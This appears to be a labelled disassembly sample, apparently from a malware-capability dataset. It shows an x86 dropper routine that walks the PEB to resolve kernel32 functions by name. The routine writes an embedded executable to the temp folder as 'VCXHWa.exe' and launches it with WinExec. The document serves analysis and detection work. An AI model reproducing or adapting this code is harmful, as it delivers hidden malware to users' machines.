Function at 0x40f000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
xor eax, eax
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x48], 0x48584356
mov dword [ebp - 0x44], 0x652e6157
mov dword [ebp - 0x40], 0x6578
mov dword [ebp - 0x3c], 0
call 0x40f044
pop eax
add eax, 0x225
mov dword [ebp - 4], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0xe904c483
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0xffff1ebf
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov edi, dword [ecx + 0x1c]
mov ebx, dword [ecx + 0x20]
mov esi, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x18]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x34], ecx
cmp edx, dword [ebp - 0x34]
jae 0x40f1ee
movzx ecx, word [esi + edx*2]
mov edx, dword [ebx + edx*4]
mov esi, dword [edi + ecx*4]
add edx, eax
mov ecx, dword [edx]
add esi, eax
cmp ecx, 0x4d746547
jne 0x40f110
cmp dword [edx + 4], 0x6c75646f
jne 0x40f110
cmp dword [edx + 8], 0x6e614865
jne 0x40f110
cmp dword [edx + 0xc], 0x41656c64
jne 0x40f110
cmp byte [edx + 0x10], 0
jne 0x40f110
cmp dword [ebp - 0x24], 0
jne 0x40f1bb
and dword [ebp - 0x5c], 0
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x68], 0x6e72654b
mov dword [ebp - 0x64], 0x32336c65
mov dword [ebp - 0x60], 0x6c6c642e
call esi
jmp 0x40f077
cmp ecx, 0x456e6957
jne 0x40f129
cmp dword [edx + 4], 0x636578
jne 0x40f129
mov dword [ebp - 0xc], esi
jmp 0x40f1bb
cmp ecx, 0x736f6c43
jne 0x40f148
cmp dword [edx + 4], 0x6e614865
jne 0x40f148
cmp dword [edx + 8], 0x656c64
jne 0x40f148
mov dword [ebp - 8], esi
jmp 0x40f1bb
cmp ecx, 0x74697257
jne 0x40f167
cmp dword [edx + 4], 0x6c694665
jne 0x40f167
movzx ecx, word [edx + 8]
cmp ecx, 0x65
jne 0x40f167
mov dword [ebp - 0x14], esi
jmp 0x40f1bb
mov ecx, dword [edx]
cmp ecx, 0x61657243
jne 0x40f188
cmp dword [edx + 4], 0x69466574
jne 0x40f188
cmp dword [edx + 8], 0x41656c
jne 0x40f188
mov dword [ebp - 0x10], esi
jmp 0x40f1bb
cmp ecx, 0x54746547
jne 0x40f1a7
cmp dword [edx + 4], 0x50706d65
jne 0x40f1a7
cmp dword [edx + 8], 0x41687461
jne 0x40f1a7
mov dword [ebp - 0x20], esi
jmp 0x40f1bb
cmp ecx, 0x7274736c
jne 0x40f1bb
cmp dword [edx + 4], 0x41746163
jne 0x40f1bb
mov dword [ebp - 0x18], esi
xor ecx, ecx
cmp dword [ebp - 0x24], ecx
je 0x40f1e0
cmp dword [ebp - 0x10], ecx
je 0x40f1e0
cmp dword [ebp - 0x14], ecx
je 0x40f1e0
cmp dword [ebp - 8], ecx
je 0x40f1e0
cmp dword [ebp - 0xc], ecx
je 0x40f1e0
cmp dword [ebp - 0x20], ecx
je 0x40f1e0
cmp dword [ebp - 0x18], ecx
jne 0x40f1ee
inc dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x1c]
jmp 0x40f09d
lea eax, [ebp - 0x16c]
push eax
push 0x104
call dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x16c]
push eax
call dword [ebp - 0x18]
xor edi, edi
push edi
push pe_nt_image_headers32
push 2
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x16c]
push eax
call dword [ebp - 0x10]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f265
mov eax, dword [ebp - 4]
xor ecx, ecx
cmp dword [eax], 0x905a4d
je 0x40f246
inc eax
inc ecx
cmp ecx, 0x1f4
jl 0x40f232
jmp 0x40f255
push edi
lea ecx, [ebp - 0x2c]
push ecx
push 0x3e00
push eax
push esi
call dword [ebp - 0x14]
push esi
call dword [ebp - 8]
push 5
lea eax, [ebp - 0x16c]
push eax
call dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret